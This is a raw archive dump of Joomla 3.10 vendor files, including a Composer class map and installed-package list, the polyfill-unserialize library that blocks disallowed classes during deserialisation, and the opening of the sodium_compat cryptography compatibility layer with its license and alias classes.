$vendorDir . '/simplepie/simplepie/library/SimplePie/XML/Declaration/Parser.php', 'SimplePie_gzdecode' => $vendorDir . '/simplepie/simplepie/library/SimplePie/gzdecode.php', 'Symfony\\Component\\Yaml\\Dumper' => $vendorDir . '/symfony/yaml/Dumper.php', 'Symfony\\Component\\Yaml\\Escaper' => $vendorDir . '/symfony/yaml/Escaper.php', 'Symfony\\Component\\Yaml\\Exception\\DumpException' => $vendorDir . '/symfony/yaml/Exception/DumpException.php', 'Symfony\\Component\\Yaml\\Exception\\ExceptionInterface' => $vendorDir . '/symfony/yaml/Exception/ExceptionInterface.php', 'Symfony\\Component\\Yaml\\Exception\\ParseException' => $vendorDir . '/symfony/yaml/Exception/ParseException.php', 'Symfony\\Component\\Yaml\\Exception\\RuntimeException' => $vendorDir . '/symfony/yaml/Exception/RuntimeException.php', 'Symfony\\Component\\Yaml\\Inline' => $vendorDir . '/symfony/yaml/Inline.php', 'Symfony\\Component\\Yaml\\Parser' => $vendorDir . '/symfony/yaml/Parser.php', 'Symfony\\Component\\Yaml\\Unescaper' => $vendorDir . '/symfony/yaml/Unescaper.php', 'Symfony\\Component\\Yaml\\Yaml' => $vendorDir . '/symfony/yaml/Yaml.php', 'Symfony\\Polyfill\\Ctype\\Ctype' => $vendorDir . '/symfony/polyfill-ctype/Ctype.php', 'Symfony\\Polyfill\\Php55\\Php55' => $vendorDir . '/symfony/polyfill-php55/Php55.php', 'Symfony\\Polyfill\\Php55\\Php55ArrayColumn' => $vendorDir . '/symfony/polyfill-php55/Php55ArrayColumn.php', 'Symfony\\Polyfill\\Php56\\Php56' => $vendorDir . '/symfony/polyfill-php56/Php56.php', 'Symfony\\Polyfill\\Php71\\Php71' => $vendorDir . '/symfony/polyfill-php71/Php71.php', 'Symfony\\Polyfill\\Php73\\Php73' => $vendorDir . '/symfony/polyfill-php73/Php73.php', 'Symfony\\Polyfill\\Util\\Binary' => $vendorDir . '/symfony/polyfill-util/Binary.php', 'Symfony\\Polyfill\\Util\\BinaryNoFuncOverload' => $vendorDir . '/symfony/polyfill-util/BinaryNoFuncOverload.php', 'Symfony\\Polyfill\\Util\\BinaryOnFuncOverload' => $vendorDir . '/symfony/polyfill-util/BinaryOnFuncOverload.php', 'TYPO3\\PharStreamWrapper\\Assertable' => $vendorDir . '/typo3/phar-stream-wrapper/src/Assertable.php', 'TYPO3\\PharStreamWrapper\\Behavior' => $vendorDir . '/typo3/phar-stream-wrapper/src/Behavior.php', 'TYPO3\\PharStreamWrapper\\Collectable' => $vendorDir . '/typo3/phar-stream-wrapper/src/Collectable.php', 'TYPO3\\PharStreamWrapper\\Exception' => $vendorDir . '/typo3/phar-stream-wrapper/src/Exception.php', 'TYPO3\\PharStreamWrapper\\Helper' => $vendorDir . '/typo3/phar-stream-wrapper/src/Helper.php', 'TYPO3\\PharStreamWrapper\\Interceptor\\ConjunctionInterceptor' => $vendorDir . '/typo3/phar-stream-wrapper/src/Interceptor/ConjunctionInterceptor.php', 'TYPO3\\PharStreamWrapper\\Interceptor\\PharExtensionInterceptor' => $vendorDir . '/typo3/phar-stream-wrapper/src/Interceptor/PharExtensionInterceptor.php', 'TYPO3\\PharStreamWrapper\\Interceptor\\PharMetaDataInterceptor' => $vendorDir . '/typo3/phar-stream-wrapper/src/Interceptor/PharMetaDataInterceptor.php', 'TYPO3\\PharStreamWrapper\\Manager' => $vendorDir . '/typo3/phar-stream-wrapper/src/Manager.php', 'TYPO3\\PharStreamWrapper\\PharStreamWrapper' => $vendorDir . '/typo3/phar-stream-wrapper/src/PharStreamWrapper.php', 'TYPO3\\PharStreamWrapper\\Phar\\Container' => $vendorDir . '/typo3/phar-stream-wrapper/src/Phar/Container.php', 'TYPO3\\PharStreamWrapper\\Phar\\DeserializationException' => $vendorDir . '/typo3/phar-stream-wrapper/src/Phar/DeserializationException.php', 'TYPO3\\PharStreamWrapper\\Phar\\Manifest' => $vendorDir . '/typo3/phar-stream-wrapper/src/Phar/Manifest.php', 'TYPO3\\PharStreamWrapper\\Phar\\Reader' => $vendorDir . '/typo3/phar-stream-wrapper/src/Phar/Reader.php', 'TYPO3\\PharStreamWrapper\\Phar\\ReaderException' => $vendorDir . '/typo3/phar-stream-wrapper/src/Phar/ReaderException.php', 'TYPO3\\PharStreamWrapper\\Phar\\Stub' => $vendorDir . '/typo3/phar-stream-wrapper/src/Phar/Stub.php', 'TYPO3\\PharStreamWrapper\\Resolvable' => $vendorDir . '/typo3/phar-stream-wrapper/src/Resolvable.php', 'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocation' => $vendorDir . '/typo3/phar-stream-wrapper/src/Resolver/PharInvocation.php', 'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocationCollection' => $vendorDir . '/typo3/phar-stream-wrapper/src/Resolver/PharInvocationCollection.php', 'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocationResolver' => $vendorDir . '/typo3/phar-stream-wrapper/src/Resolver/PharInvocationResolver.php', 'lessc' => $vendorDir . '/leafo/lessphp/lessc.inc.php', 'lessc_formatter_classic' => $vendorDir . '/leafo/lessphp/lessc.inc.php', 'lessc_formatter_compressed' => $vendorDir . '/leafo/lessphp/lessc.inc.php', 'lessc_formatter_lessjs' => $vendorDir . '/leafo/lessphp/lessc.inc.php', 'lessc_parser' => $vendorDir . '/leafo/lessphp/lessc.inc.php', 'ntlm_sasl_client_class' => $vendorDir . '/phpmailer/phpmailer/extras/ntlm_sasl_client.php', 'phpmailerException' => $vendorDir . '/phpmailer/phpmailer/class.phpmailer.php', ); PKÜ�\�����5�5vendor/composer/installed.phpnu�[���<?php return array( 'root' => array( 'pretty_version' => 'dev-3.10-dev', 'version' => 'dev-3.10-dev', 'type' => 'project', 'install_path' => __DIR__ . '/../../../', 'aliases' => array(), 'reference' => 'f4a39fcfe82e68162a5b12f3537f8d2c673c93f7', 'name' => 'joomla/joomla-cms', 'dev' => false, ), 'versions' => array( 'brumann/polyfill-unserialize' => array( 'pretty_version' => 'v2.0.0', 'version' => '2.0.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../brumann/polyfill-unserialize', 'aliases' => array(), 'reference' => '46e5c18ee87d8a9b5765ef95468c1ac27bd107bf', 'dev_requirement' => false, ), 'google/recaptcha' => array( 'pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'type' => 'library', 'install_path' => __DIR__ . '/../google/recaptcha', 'aliases' => array(), 'reference' => '2b7e00566afca82a38a1d3adb8e42c118006296e', 'dev_requirement' => false, ), 'ircmaxell/password-compat' => array( 'pretty_version' => 'v1.0.4', 'version' => '1.0.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../ircmaxell/password-compat', 'aliases' => array(), 'reference' => '5c5cde8822a69545767f7c7f3058cb15ff84614c', 'dev_requirement' => false, ), 'joomla/application' => array( 'pretty_version' => '1.9.3', 'version' => '1.9.3.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/application', 'aliases' => array(), 'reference' => '2a2fee9fa2ebb07c0d28da07f6e4ea3c56b77d16', 'dev_requirement' => false, ), 'joomla/archive' => array( 'pretty_version' => '1.1.12', 'version' => '1.1.12.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/archive', 'aliases' => array(), 'reference' => 'b1c1e6c3aecc0486453cadbb92bc529cfa89a89f', 'dev_requirement' => false, ), 'joomla/compat' => array( 'pretty_version' => '1.2.0', 'version' => '1.2.0.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/compat', 'aliases' => array(), 'reference' => 'f23565fe0184517778996226eb4b2333deb369c4', 'dev_requirement' => false, ), 'joomla/data' => array( 'pretty_version' => '1.2.0', 'version' => '1.2.0.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/data', 'aliases' => array(), 'reference' => '57ee292ba23307a6a6059e69b7b19ca5b624ab80', 'dev_requirement' => false, ), 'joomla/di' => array( 'pretty_version' => '1.5.1', 'version' => '1.5.1.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/di', 'aliases' => array(), 'reference' => '33c66e4091e4433f33ddf4a0ac36604cf3b73c41', 'dev_requirement' => false, ), 'joomla/event' => array( 'pretty_version' => '1.3.0', 'version' => '1.3.0.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/event', 'aliases' => array(), 'reference' => 'ea97afdc7afd78cc9a0500f4b60372764fc2c0b0', 'dev_requirement' => false, ), 'joomla/filesystem' => array( 'pretty_version' => '1.6.2', 'version' => '1.6.2.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/filesystem', 'aliases' => array(), 'reference' => '9ad5d9b64960f0ea56fb71364a33622843b95c27', 'dev_requirement' => false, ), 'joomla/filter' => array( 'pretty_version' => '1.4.4', 'version' => '1.4.4.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/filter', 'aliases' => array(), 'reference' => '09733d70db6c6d91e53e0e0d0fcde9b8638175c4', 'dev_requirement' => false, ), 'joomla/image' => array( 'pretty_version' => '1.5.1', 'version' => '1.5.1.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/image', 'aliases' => array(), 'reference' => '00e843bccb2f9b1f1e6d8710ed55d103c641a75b', 'dev_requirement' => false, ), 'joomla/input' => array( 'pretty_version' => '1.4.0', 'version' => '1.4.0.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/input', 'aliases' => array(), 'reference' => 'a89927d412cdc8172889e3e0e3e66a134f367be1', 'dev_requirement' => false, ), 'joomla/joomla-cms' => array( 'pretty_version' => 'dev-3.10-dev', 'version' => 'dev-3.10-dev', 'type' => 'project', 'install_path' => __DIR__ . '/../../../', 'aliases' => array(), 'reference' => 'f4a39fcfe82e68162a5b12f3537f8d2c673c93f7', 'dev_requirement' => false, ), 'joomla/ldap' => array( 'pretty_version' => '1.5.0', 'version' => '1.5.0.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/ldap', 'aliases' => array(), 'reference' => '2b81fb2bb0a95b66d8aa1e3a4b6875990f5adf46', 'dev_requirement' => false, ), 'joomla/registry' => array( 'pretty_version' => '1.6.4', 'version' => '1.6.4.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/registry', 'aliases' => array(), 'reference' => '87450394f093efcb3ac5fc978e73d1403ebe8a38', 'dev_requirement' => false, ), 'joomla/session' => array( 'pretty_version' => '1.6.0', 'version' => '1.6.0.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/session/Joomla/Session', 'aliases' => array(), 'reference' => '0e1a0bd523bad42cae115f35e4079e5731a48d13', 'dev_requirement' => false, ), 'joomla/string' => array( 'pretty_version' => '1.4.6', 'version' => '1.4.6.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/string', 'aliases' => array(), 'reference' => '728ba9e39a8f1bd15b75ab878f57fa505184b8ab', 'dev_requirement' => false, ), 'joomla/uri' => array( 'pretty_version' => '1.2.1', 'version' => '1.2.1.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/uri', 'aliases' => array(), 'reference' => 'e3968e05d3b741378c106b44d8d72b230a43f845', 'dev_requirement' => false, ), 'joomla/utilities' => array( 'pretty_version' => '1.6.2', 'version' => '1.6.2.0', 'type' => 'joomla-package', 'install_path' => __DIR__ . '/../joomla/utilities', 'aliases' => array(), 'reference' => '9f7d9fda537ca005f7467de68f92506d48f348f5', 'dev_requirement' => false, ), 'leafo/lessphp' => array( 'pretty_version' => 'dev-joomla3-php8', 'version' => 'dev-joomla3-php8', 'type' => 'library', 'install_path' => __DIR__ . '/../leafo/lessphp', 'aliases' => array( 0 => '9999999-dev', ), 'reference' => '802755b7632f59078843f38c9d57e5a8c496cc3a', 'dev_requirement' => false, ), 'paragonie/random_compat' => array( 'pretty_version' => 'v1.4.3', 'version' => '1.4.3.0', 'type' => 'library', 'install_path' => __DIR__ . '/../paragonie/random_compat', 'aliases' => array(), 'reference' => '9b3899e3c3ddde89016f576edb8c489708ad64cd', 'dev_requirement' => false, ), 'paragonie/sodium_compat' => array( 'pretty_version' => 'v1.17.1', 'version' => '1.17.1.0', 'type' => 'library', 'install_path' => __DIR__ . '/../paragonie/sodium_compat', 'aliases' => array(), 'reference' => 'ac994053faac18d386328c91c7900f930acadf1e', 'dev_requirement' => false, ), 'phpmailer/phpmailer' => array( 'pretty_version' => 'dev-joomla-backports', 'version' => 'dev-joomla-backports', 'type' => 'library', 'install_path' => __DIR__ . '/../phpmailer/phpmailer', 'aliases' => array( 0 => '9999999-dev', ), 'reference' => '3bac61142e875279af98f16afef696b6bb7a19c9', 'dev_requirement' => false, ), 'psr/container' => array( 'pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'reference' => 'b7ce3b176482dbbc1245ebf52b181af44c2cf55f', 'dev_requirement' => false, ), 'psr/container-implementation' => array( 'dev_requirement' => false, 'provided' => array( 0 => '~1.0', ), ), 'psr/log' => array( 'pretty_version' => '1.1.4', 'version' => '1.1.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), 'reference' => 'd49695b909c3b7628b6289db5479a1c204601f11', 'dev_requirement' => false, ), 'simplepie/simplepie' => array( 'pretty_version' => '1.3.3', 'version' => '1.3.3.0', 'type' => 'library', 'install_path' => __DIR__ . '/../simplepie/simplepie', 'aliases' => array(), 'reference' => '9f6fdaa79d9888ae8f1626b4f2e6b5ff7ca29bb3', 'dev_requirement' => false, ), 'symfony/polyfill-ctype' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-ctype', 'aliases' => array(), 'reference' => 'aed596913b70fae57be53d86faa2e9ef85a2297b', 'dev_requirement' => false, ), 'symfony/polyfill-php55' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php55', 'aliases' => array(), 'reference' => '248a5c9877b126493abb661e4fb47792e418035b', 'dev_requirement' => false, ), 'symfony/polyfill-php56' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php56', 'aliases' => array(), 'reference' => 'ea19621731cbd973a6702cfedef3419768bf3372', 'dev_requirement' => false, ), 'symfony/polyfill-php71' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php71', 'aliases' => array(), 'reference' => '08aa78ab724f1264b3d1d32598c0c3e6903b7ab0', 'dev_requirement' => false, ), 'symfony/polyfill-php73' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php73', 'aliases' => array(), 'reference' => '9d920e3218205554171b2503bb3e4a1366824a16', 'dev_requirement' => false, ), 'symfony/polyfill-util' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-util', 'aliases' => array(), 'reference' => '8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a', 'dev_requirement' => false, ), 'symfony/yaml' => array( 'pretty_version' => 'v2.8.52', 'version' => '2.8.52.0', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/yaml', 'aliases' => array(), 'reference' => '02c1859112aa779d9ab394ae4f3381911d84052b', 'dev_requirement' => false, ), 'typo3/phar-stream-wrapper' => array( 'pretty_version' => 'v2.2.2', 'version' => '2.2.2.0', 'type' => 'library', 'install_path' => __DIR__ . '/../typo3/phar-stream-wrapper', 'aliases' => array(), 'reference' => 'cf7728109e0cab28da9ad357c3009e38d371116e', 'dev_requirement' => false, ), ), ); PKÜ�\�/��dd1vendor/brumann/polyfill-unserialize/composer.jsonnu�[���{ "name": "brumann/polyfill-unserialize", "description": "Backports unserialize options introduced in PHP 7.0 to older PHP versions.", "type": "library", "license": "MIT", "authors": [ { "name": "Denis Brumann", "email": "denis.brumann@sensiolabs.de" } ], "autoload": { "psr-4": { "Brumann\\Polyfill\\": "src/" } }, "autoload-dev": { "psr-4": { "Tests\\Brumann\\Polyfill\\": "tests/" } }, "minimum-stability": "stable", "require": { "php": "^5.3|^7.0" } } PKÜ�\�!��Hvendor/brumann/polyfill-unserialize/src/DisallowedClassesSubstitutor.phpnu�[���<?php namespace Brumann\Polyfill; /** * Worker implementation for identifying and skipping false-positives * not to be substituted - like nested serializations in string literals. * * @internal This class should only be used by \Brumann\Polyfill\Unserialize */ final class DisallowedClassesSubstitutor { const PATTERN_STRING = '#s:(\d+):(")#'; const PATTERN_OBJECT = '#(^|;)O:\d+:"([^"]*)":(\d+):\{#'; /** * @var string */ private $serialized; /** * @var string[] */ private $allowedClasses; /** * Each array item consists of `[<offset-start>, <offset-end>]` and * marks start and end positions of items to be ignored. * * @var array[] */ private $ignoreItems = array(); /** * @param string $serialized * @param string[] $allowedClasses */ public function __construct($serialized, array $allowedClasses) { $this->serialized = $serialized; $this->allowedClasses = $allowedClasses; $this->buildIgnoreItems(); $this->substituteObjects(); } /** * @return string */ public function getSubstitutedSerialized() { return $this->serialized; } /** * Identifies items to be ignored - like nested serializations in string literals. */ private function buildIgnoreItems() { $offset = 0; while (preg_match(self::PATTERN_STRING, $this->serialized, $matches, PREG_OFFSET_CAPTURE, $offset)) { $length = (int)$matches[1][0]; // given length in serialized data (e.g. `s:123:"` --> 123) $start = $matches[2][1]; // offset position of quote character $end = $start + $length + 1; $offset = $end + 1; // serialized string nested in outer serialized string if ($this->ignore($start, $end)) { continue; } $this->ignoreItems[] = array($start, $end); } } /** * Substitutes disallowed object class names and respects items to be ignored. */ private function substituteObjects() { $offset = 0; while (preg_match(self::PATTERN_OBJECT, $this->serialized, $matches, PREG_OFFSET_CAPTURE, $offset)) { $completeMatch = (string)$matches[0][0]; $completeLength = strlen($completeMatch); $start = $matches[0][1]; $end = $start + $completeLength; $leftBorder = (string)$matches[1][0]; $className = (string)$matches[2][0]; $objectSize = (int)$matches[3][0]; $offset = $end + 1; // class name is actually allowed - skip this item if (in_array($className, $this->allowedClasses, true)) { continue; } // serialized object nested in outer serialized string if ($this->ignore($start, $end)) { continue; } $incompleteItem = $this->sanitizeItem($className, $leftBorder, $objectSize); $incompleteItemLength = strlen($incompleteItem); $offset = $start + $incompleteItemLength + 1; $this->replace($incompleteItem, $start, $end); $this->shift($end, $incompleteItemLength - $completeLength); } } /** * Replaces sanitized object class names in serialized data. * * @param string $replacement Sanitized object data * @param int $start Start offset in serialized data * @param int $end End offset in serialized data */ private function replace($replacement, $start, $end) { $this->serialized = substr($this->serialized, 0, $start) . $replacement . substr($this->serialized, $end); } /** * Whether given offset positions should be ignored. * * @param int $start * @param int $end * @return bool */ private function ignore($start, $end) { foreach ($this->ignoreItems as $ignoreItem) { if ($ignoreItem[0] <= $start && $ignoreItem[1] >= $end) { return true; } } return false; } /** * Shifts offset positions of ignore items by `$size`. * This is necessary whenever object class names have been * substituted which have a different length than before. * * @param int $offset * @param int $size */ private function shift($offset, $size) { foreach ($this->ignoreItems as &$ignoreItem) { // only focus on items starting after given offset if ($ignoreItem[0] < $offset) { continue; } $ignoreItem[0] += $size; $ignoreItem[1] += $size; } } /** * Sanitizes object class item. * * @param string $className * @param int $leftBorder * @param int $objectSize * @return string */ private function sanitizeItem($className, $leftBorder, $objectSize) { return sprintf( '%sO:22:"__PHP_Incomplete_Class":%d:{s:27:"__PHP_Incomplete_Class_Name";%s', $leftBorder, $objectSize + 1, // size of object + 1 for added string \serialize($className) ); } } PKÜ�\ ��ڬ�7vendor/brumann/polyfill-unserialize/src/Unserialize.phpnu�[���<?php namespace Brumann\Polyfill; final class Unserialize { /** * @see https://secure.php.net/manual/en/function.unserialize.php * * @param string $serialized Serialized data * @param array $options Associative array containing options * * @return mixed */ public static function unserialize($serialized, array $options = array()) { if (PHP_VERSION_ID >= 70000) { return \unserialize($serialized, $options); } if (!array_key_exists('allowed_classes', $options) || true === $options['allowed_classes']) { return \unserialize($serialized); } $allowedClasses = $options['allowed_classes']; if (false === $allowedClasses) { $allowedClasses = array(); } if (!is_array($allowedClasses)) { $allowedClasses = array(); trigger_error( 'unserialize(): allowed_classes option should be array or boolean', E_USER_WARNING ); } $worker = new DisallowedClassesSubstitutor($serialized, $allowedClasses); return \unserialize($worker->getSubstitutedSerialized()); } } PKÜ�\�1933+vendor/brumann/polyfill-unserialize/LICENSEnu�[���MIT License Copyright (c) 2016-2019 Denis Brumann Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PKÜ�\��\\&vendor/paragonie/sodium_compat/LICENSEnu�[���ISC License Copyright (c) 2016-2021, Paragon Initiative Enterprises <security at paragonie dot com> Copyright (c) 2013-2019, Frank Denis <j at pureftpd dot org> Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. PKÜ�\�c�LVV4vendor/paragonie/sodium_compat/namespaced/Compat.phpnu�[���<?php namespace ParagonIE\Sodium; class Compat extends \ParagonIE_Sodium_Compat { } PKÜ�\�oqRR2vendor/paragonie/sodium_compat/namespaced/File.phpnu�[���<?php namespace ParagonIE\Sodium; class File extends \ParagonIE_Sodium_File { } PKÜ�\r��VV4vendor/paragonie/sodium_compat/namespaced/Crypto.phpnu�[���<?php namespace ParagonIE\Sodium; class Crypto extends \ParagonIE_Sodium_Crypto { } PKÜ�\��hh=vendor/paragonie/sodium_compat/namespaced/Core/Curve25519.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class Curve25519 extends \ParagonIE_Sodium_Core_Curve25519 { } PKÜ�\Y[�yff<vendor/paragonie/sodium_compat/namespaced/Core/XChaCha20.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class XChaCha20 extends \ParagonIE_Sodium_Core_XChaCha20 { } PKÜ�\2V��dd;vendor/paragonie/sodium_compat/namespaced/Core/HSalsa20.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class HSalsa20 extends \ParagonIE_Sodium_Core_HSalsa20 { } PKÜ�\� @dd;vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class ChaCha20 extends \ParagonIE_Sodium_Core_ChaCha20 { } PKÜ�\����bb:vendor/paragonie/sodium_compat/namespaced/Core/SipHash.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class SipHash extends \ParagonIE_Sodium_Core_SipHash { } PKÜ�\��B�nn@vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Fe.phpnu�[���<?php namespace ParagonIE\Sodium\Core\Curve25519; class Fe extends \ParagonIE_Sodium_Core_Curve25519_Fe { } PKÜ�\���rxxEvendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.phpnu�[���<?php namespace ParagonIE\Sodium\Core\Curve25519\Ge; class P1p1 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 { } PKÜ�\p�ttCvendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P2.phpnu�[���<?php namespace ParagonIE\Sodium\Core\Curve25519\Ge; class P2 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P2 { } PKÜ�\���ttCvendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P3.phpnu�[���<?php namespace ParagonIE\Sodium\Core\Curve25519\Ge; class P3 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P3 { } PKÜ�\�W�<||Gvendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.phpnu�[���<?php namespace ParagonIE\Sodium\Core\Curve25519\Ge; class Cached extends \ParagonIE_Sodium_Core_Curve25519_Ge_Cached { } PKÜ�\�I�M~~Hvendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.phpnu�[���<?php namespace ParagonIE\Sodium\Core\Curve25519\Ge; class Precomp extends \ParagonIE_Sodium_Core_Curve25519_Ge_Precomp { } PKÜ�\9&F?ll?vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/H.phpnu�[���<?php namespace ParagonIE\Sodium\Core\Curve25519; class H extends \ParagonIE_Sodium_Core_Curve25519_H { } PKÜ�\WͤAdd;vendor/paragonie/sodium_compat/namespaced/Core/Xsalsa20.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class Xsalsa20 extends \ParagonIE_Sodium_Core_XSalsa20 { } PKÜ�\�Cbb:vendor/paragonie/sodium_compat/namespaced/Core/BLAKE2b.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class BLAKE2b extends \ParagonIE_Sodium_Core_BLAKE2b { } PKÜ�\C4�HttCvendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.phpnu�[���<?php namespace ParagonIE\Sodium\Core\ChaCha20; class IetfCtx extends \ParagonIE_Sodium_Core_ChaCha20_IetfCtx { } PKÜ�\(���ll?vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/Ctx.phpnu�[���<?php namespace ParagonIE\Sodium\Core\ChaCha20; class Ctx extends \ParagonIE_Sodium_Core_ChaCha20_Ctx { } PKÜ�\9 ��bb:vendor/paragonie/sodium_compat/namespaced/Core/Salsa20.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class Salsa20 extends \ParagonIE_Sodium_Core_Salsa20 { } PKÜ�\�Mtldd;vendor/paragonie/sodium_compat/namespaced/Core/Poly1305.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class Poly1305 extends \ParagonIE_Sodium_Core_Poly1305 { } PKÜ�\�ډPppAvendor/paragonie/sodium_compat/namespaced/Core/Poly1305/State.phpnu�[���<?php namespace ParagonIE\Sodium\Core\Poly1305; class State extends \ParagonIE_Sodium_Core_Poly1305_State { } PKÜ�\|�>bb:vendor/paragonie/sodium_compat/namespaced/Core/Ed25519.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class Ed25519 extends \ParagonIE_Sodium_Core_Ed25519 { } PKÜ�\'��?ff<vendor/paragonie/sodium_compat/namespaced/Core/HChaCha20.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class HChaCha20 extends \ParagonIE_Sodium_Core_HChaCha20 { } PKÜ�\t�=2``9vendor/paragonie/sodium_compat/namespaced/Core/X25519.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class X25519 extends \ParagonIE_Sodium_Core_X25519 { } PKÜ�\��m\\7vendor/paragonie/sodium_compat/namespaced/Core/Util.phpnu�[���<?php namespace ParagonIE\Sodium\Core; class Util extends \ParagonIE_Sodium_Core_Util { } PKÜ�\O䝙rr4vendor/paragonie/sodium_compat/autoload-pedantic.phpnu�[���<?php require_once 'autoload.php'; define('DO_PEDANTIC_TEST', true); ParagonIE_Sodium_Compat::$fastMult = true; PKÜ�\����3vendor/paragonie/sodium_compat/autoload-phpunit.phpnu�[���<?php require_once (dirname(__FILE__) . '/vendor/autoload.php'); if (PHP_VERSION_ID >= 50300) { require_once (dirname(__FILE__) . '/tests/phpunit-shim.php'); } require_once (dirname(__FILE__) . '/autoload.php'); PKÜ�\Y�3�KAKA-vendor/paragonie/sodium_compat/src/Compat.phpnu�[���<?php /** * Libsodium compatibility layer * * This is the only class you should be interfacing with, as a user of * sodium_compat. * * If the PHP extension for libsodium is installed, it will always use that * instead of our implementations. You get better performance and stronger * guarantees against side-channels that way. * * However, if your users don't have the PHP extension installed, we offer a * compatible interface here. It will give you the correct results as if the * PHP extension was installed. It won't be as fast, of course. * * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * * * * Until audited, this is probably not safe to use! DANGER WILL ROBINSON * * * * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * */ if (class_exists('ParagonIE_Sodium_Compat', false)) { return; } class ParagonIE_Sodium_Compat { /** * This parameter prevents the use of the PECL extension. * It should only be used for unit testing. * * @var bool */ public static $disableFallbackForUnitTests = false; /** * Use fast multiplication rather than our constant-time multiplication * implementation. Can be enabled at runtime. Only enable this if you * are absolutely certain that there is no timing leak on your platform. * * @var bool */ public static $fastMult = false; const 